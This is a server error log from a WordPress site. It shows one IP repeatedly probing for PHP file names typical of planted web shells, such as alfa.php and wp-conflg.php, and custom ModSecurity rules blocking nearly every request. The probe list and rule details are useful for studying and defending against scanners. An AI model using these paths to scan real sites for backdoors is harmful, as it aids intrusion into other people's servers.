[Mon Feb 23 01:05:57.692893 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:1871] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aZs3dfFTHI_ud-cTYbTuywAAARM"]
[Mon Feb 23 01:05:58.165148 2026] [:error] [pid 4806:tid 4832] [client 20.203.249.16:17159] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aZs3dvFTHI_ud-cTYbTuzwAAARg"]
[Mon Feb 23 01:05:58.636859 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:12435] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aZs3dgBAZT_BJOxE-Z4mAgAAAAM"]
[Mon Feb 23 01:05:59.109273 2026] [:error] [pid 28425:tid 28516] [client 20.203.249.16:22419] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aZs3dzO7QIkwG1UqFGzmLgAAAFc"]
[Mon Feb 23 01:06:02.618697 2026] [:error] [pid 28558:tid 28570] [client 20.203.249.16:5414] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aZs3eidFHR5e1Gd10vd7PgAAAMo"]
[Mon Feb 23 01:06:03.091871 2026] [:error] [pid 28426:tid 28539] [client 20.203.249.16:19536] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aZs3e2gbPVf4pO12NZnMbgAAAJE"]
[Mon Feb 23 01:06:03.563533 2026] [:error] [pid 4806:tid 4821] [client 20.203.249.16:20910] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs3e_FTHI_ud-cTYbTu3wAAAQ0"]
[Mon Feb 23 01:06:04.034430 2026] [:error] [pid 28558:tid 28583] [client 20.203.249.16:20983] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs3fCdFHR5e1Gd10vd7QgAAANc"]
[Mon Feb 23 01:06:04.507269 2026] [:error] [pid 28426:tid 28546] [client 20.203.249.16:26100] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs3fGgbPVf4pO12NZnMcQAAAJg"]
[Mon Feb 23 01:06:04.978909 2026] [:error] [pid 28558:tid 28573] [client 20.203.249.16:15493] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs3fCdFHR5e1Gd10vd7RAAAAM0"]
[Mon Feb 23 01:06:05.451019 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:17169] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3fWgbPVf4pO12NZnMdwAAAIA"]
[Mon Feb 23 01:06:05.974522 2026] [:error] [pid 28424:tid 28442] [client 20.203.249.16:5409] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3fQBAZT_BJOxE-Z4mBgAAAA4"]
[Mon Feb 23 01:06:06.445877 2026] [:error] [pid 28424:tid 28436] [client 20.203.249.16:4615] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3fgBAZT_BJOxE-Z4mCAAAAAg"]
[Mon Feb 23 01:06:06.918056 2026] [:error] [pid 28426:tid 28535] [client 20.203.249.16:20925] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3fmgbPVf4pO12NZnMfgAAAI0"]
[Mon Feb 23 01:06:07.394789 2026] [:error] [pid 28424:tid 28441] [client 20.203.249.16:23003] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZs3fwBAZT_BJOxE-Z4mCgAAAA0"]
[Mon Feb 23 01:06:14.885936 2026] [:error] [pid 28425:tid 28501] [client 20.203.249.16:29724] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZs3hjO7QIkwG1UqFGzmPwAAAEg"]
[Mon Feb 23 01:06:15.358844 2026] [:error] [pid 28425:tid 28499] [client 20.203.249.16:25542] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZs3hzO7QIkwG1UqFGzmRQAAAEY"]
[Mon Feb 23 01:06:15.830996 2026] [:error] [pid 28425:tid 28507] [client 20.203.249.16:16175] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZs3hzO7QIkwG1UqFGzmSAAAAE4"]
[Mon Feb 23 01:06:16.302448 2026] [:error] [pid 28558:tid 28564] [client 20.203.249.16:21689] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZs3iCdFHR5e1Gd10vd7XAAAAMQ"]
[Mon Feb 23 01:06:16.801040 2026] [:error] [pid 28424:tid 28433] [client 20.203.249.16:1303] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZs3iABAZT_BJOxE-Z4mHwAAAAU"]
[Mon Feb 23 01:06:17.273217 2026] [:error] [pid 28426:tid 28524] [client 20.203.249.16:17171] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZs3iWgbPVf4pO12NZnMlAAAAIM"]
[Mon Feb 23 01:06:17.744278 2026] [:error] [pid 28558:tid 28573] [client 20.203.249.16:27007] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZs3iSdFHR5e1Gd10vd7XgAAAM0"]
[Mon Feb 23 01:06:25.253047 2026] [:error] [pid 28424:tid 28449] [client 20.203.249.16:1272] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3kQBAZT_BJOxE-Z4mMgAAABU"]
[Mon Feb 23 01:06:25.724542 2026] [:error] [pid 28558:tid 28578] [client 20.203.249.16:1284] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3kSdFHR5e1Gd10vd7awAAANI"]
[Mon Feb 23 01:06:26.198633 2026] [:error] [pid 28426:tid 28530] [client 20.203.249.16:26353] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3kmgbPVf4pO12NZnMsQAAAIg"]
[Mon Feb 23 01:06:26.671098 2026] [:error] [pid 28426:tid 28523] [client 20.203.249.16:5405] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3kmgbPVf4pO12NZnMtAAAAII"]
[Mon Feb 23 01:06:27.143295 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:1239] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3kwBAZT_BJOxE-Z4mOAAAAAM"]
[Mon Feb 23 01:06:34.640789 2026] [:error] [pid 28426:tid 28524] [client 20.203.249.16:28880] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3mmgbPVf4pO12NZnMzgAAAIM"]
[Mon Feb 23 01:06:35.113555 2026] [:error] [pid 4806:tid 4821] [client 20.203.249.16:26874] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3m_FTHI_ud-cTYbTvKwAAAQ0"]
[Mon Feb 23 01:06:36.586019 2026] [:error] [pid 4806:tid 4808] [client 20.203.249.16:18345] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZs3nPFTHI_ud-cTYbTvMQAAAQA"]
[Mon Feb 23 01:06:37.058081 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:26825] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aZs3nfFTHI_ud-cTYbTvNQAAARI"]
[Mon Feb 23 01:06:37.531880 2026] [:error] [pid 28426:tid 28546] [client 20.203.249.16:24138] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aZs3nWgbPVf4pO12NZnM2QAAAJg"]
[Mon Feb 23 01:06:38.003114 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:29707] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aZs3nidFHR5e1Gd10vd7jwAAAMs"]
[Mon Feb 23 01:06:38.475004 2026] [:error] [pid 28558:tid 28560] [client 20.203.249.16:17529] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aZs3nidFHR5e1Gd10vd7kgAAAMA"]
[Mon Feb 23 01:06:38.946103 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:28123] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3nvFTHI_ud-cTYbTvOAAAAQk"]
[Mon Feb 23 01:06:39.417516 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:18891] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3n2gbPVf4pO12NZnM4wAAAIA"]
[Mon Feb 23 01:06:39.888097 2026] [:error] [pid 28425:tid 28509] [client 20.203.249.16:10546] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3nzO7QIkwG1UqFGzmeQAAAFA"]
[Mon Feb 23 01:06:40.366337 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:23158] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aZs3oPFTHI_ud-cTYbTvQAAAARI"]
[Mon Feb 23 01:07:04.007428 2026] [autoindex:error] [pid 28424:tid 28449] [client 20.203.249.16:30058] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 01:07:27.876588 2026] [autoindex:error] [pid 28424:tid 28451] [client 20.203.249.16:30058] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 01:07:28.121485 2026] [autoindex:error] [pid 28424:tid 28432] [client 20.203.249.16:30058] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 01:07:33.352621 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:30058] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZs31QBAZT_BJOxE-Z4nKgAAAAM"]
[Mon Feb 23 01:07:37.315498 2026] [:error] [pid 28425:tid 28502] [client 20.203.249.16:28988] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jane.php"] [unique_id "aZs32TO7QIkwG1UqFGzm-QAAAEk"]
[Mon Feb 23 01:07:37.787383 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:16801] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jane.php"] [unique_id "aZs32WgbPVf4pO12NZnNQgAAAIA"]
[Mon Feb 23 01:07:38.260434 2026] [:error] [pid 28426:tid 28535] [client 20.203.249.16:23811] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jane.php"] [unique_id "aZs32mgbPVf4pO12NZnNRQAAAI0"]
[Mon Feb 23 01:07:38.735032 2026] [:error] [pid 28425:tid 28513] [client 20.203.249.16:22475] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jane.php"] [unique_id "aZs32jO7QIkwG1UqFGzm-wAAAFQ"]
[Mon Feb 23 01:07:39.210097 2026] [:error] [pid 28424:tid 28439] [client 20.203.249.16:28748] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aZs32wBAZT_BJOxE-Z4nLgAAAAs"]
[Mon Feb 23 01:07:39.686103 2026] [:error] [pid 28558:tid 28574] [client 20.203.249.16:29575] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aZs32ydFHR5e1Gd10vd8hQAAAM4"]
[Mon Feb 23 01:07:40.172994 2026] [:error] [pid 28426:tid 28525] [client 20.203.249.16:21344] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aZs33GgbPVf4pO12NZnNRwAAAIQ"]
[Mon Feb 23 01:07:43.662460 2026] [:error] [pid 28426:tid 28545] [client 20.203.249.16:27272] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aZs332gbPVf4pO12NZnNSQAAAJc"]
[Mon Feb 23 01:07:44.136448 2026] [:error] [pid 28426:tid 28539] [client 20.203.249.16:28981] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZs34GgbPVf4pO12NZnNSwAAAJE"]
[Mon Feb 23 01:07:44.610935 2026] [:error] [pid 28425:tid 28512] [client 20.203.249.16:17063] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZs34DO7QIkwG1UqFGznBAAAAFM"]
[Mon Feb 23 01:07:45.083856 2026] [:error] [pid 28558:tid 28578] [client 20.203.249.16:27269] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZs34SdFHR5e1Gd10vd8iAAAANI"]
[Mon Feb 23 01:07:45.556554 2026] [:error] [pid 28424:tid 28443] [client 20.203.249.16:28979] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZs34QBAZT_BJOxE-Z4nMwAAAA8"]
[Mon Feb 23 01:07:46.029492 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:18447] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aZs34vFTHI_ud-cTYbTv5wAAAQk"]
[Mon Feb 23 01:07:46.502438 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:25129] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aZs34jO7QIkwG1UqFGznBwAAAE0"]
